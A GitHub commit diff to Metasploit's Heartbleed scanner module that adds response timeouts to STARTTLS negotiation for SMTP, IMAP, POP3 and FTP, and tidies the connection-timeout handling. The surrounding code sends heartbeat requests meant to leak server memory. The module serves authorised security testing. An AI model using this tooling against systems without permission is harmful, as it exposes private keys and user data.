Skip to content

Commit e38f4cb

Browse files
committed
Apply response_timeout to get_once, code cleanup
Add response_timeout to get_once Change timeout output in establish_connect() Add disconnect ater timeout output Made establish_connect timeout check more readable
1 parent fab091c commit e38f4cb

File tree

1 file changed

+17
-14
lines changed

1 file changed

+17
-14
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 17 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -194,39 +194,39 @@ def response_timeout
194194

195195
def tls_smtp
196196
# https://tools.ietf.org/html/rfc3207
197-
sock.get_once
197+
sock.get_once(-1, response_timeout)
198198
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
199-
res = sock.get_once
199+
res = sock.get_once(-1, response_timeout)
200200

201201
unless res && res =~ /STARTTLS/
202202
return nil
203203
end
204204
sock.put("STARTTLS\r\n")
205-
sock.get_once
205+
sock.get_once(-1, response_timeout)
206206
end
207207

208208
def tls_imap
209209
# http://tools.ietf.org/html/rfc2595
210-
sock.get_once
210+
sock.get_once(-1, response_timeout)
211211
sock.put("a001 CAPABILITY\r\n")
212-
res = sock.get_once
212+
res = sock.get_once(-1, response_timeout)
213213
unless res && res =~ /STARTTLS/i
214214
return nil
215215
end
216216
sock.put("a002 STARTTLS\r\n")
217-
sock.get_once
217+
sock.get_once(-1, response_timeout)
218218
end
219219

220220
def tls_pop3
221221
# http://tools.ietf.org/html/rfc2595
222-
sock.get_once
222+
sock.get_once(-1, response_timeout)
223223
sock.put("CAPA\r\n")
224-
res = sock.get_once
224+
res = sock.get_once(-1, response_timeout)
225225
if res.nil? || res =~ /^-/ || res !~ /STLS/
226226
return nil
227227
end
228228
sock.put("STLS\r\n")
229-
res = sock.get_once
229+
res = sock.get_once(-1, response_timeout)
230230
if res.nil? || res =~ /^-/
231231
return nil
232232
end
@@ -270,7 +270,7 @@ def tls_ftp
270270
res = sock.get(response_timeout)
271271
return nil if res.nil?
272272
sock.put("AUTH TLS\r\n")
273-
res = sock.get_once
273+
res = sock.get_once(-1, response_timeout)
274274
return nil if res.nil?
275275
if res !~ /^234/
276276
# res contains the error message
@@ -297,10 +297,12 @@ def run_host(ip)
297297

298298
def bleed()
299299
# This actually performs the heartbleed portion
300-
return :timeout if (establish_connect) == :timeout
300+
connect_result = establish_connect
301+
return :timeout if (connect_result) == :timeout
302+
301303
vprint_status("#{peer} - Sending Heartbeat...")
302304
sock.put(heartbeat(heartbeat_length))
303-
hdr = sock.get_once(5)
305+
hdr = sock.get_once(5, response_timeout)
304306
if hdr.blank?
305307
vprint_error("#{peer} - No Heartbeat response...")
306308
return
@@ -313,7 +315,7 @@ def bleed()
313315

314316
# try to get the TLS error
315317
if type == ALERT_RECORD_TYPE
316-
res = sock.get_once(len)
318+
res = sock.get_once(len, response_timeout)
317319
alert_unp = res.unpack('CC')
318320
alert_level = alert_unp[0]
319321
alert_desc = alert_unp[1]
@@ -515,7 +517,8 @@ def establish_connect
515517

516518
server_hello = sock.get(response_timeout)
517519
unless server_hello
518-
vprint_error("#{peer} - No Client Hello response after #{response_timeout} seconds...")
520+
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
521+
disconnect
519522
return :timeout
520523
end
521524

0 commit comments

Comments
 (0)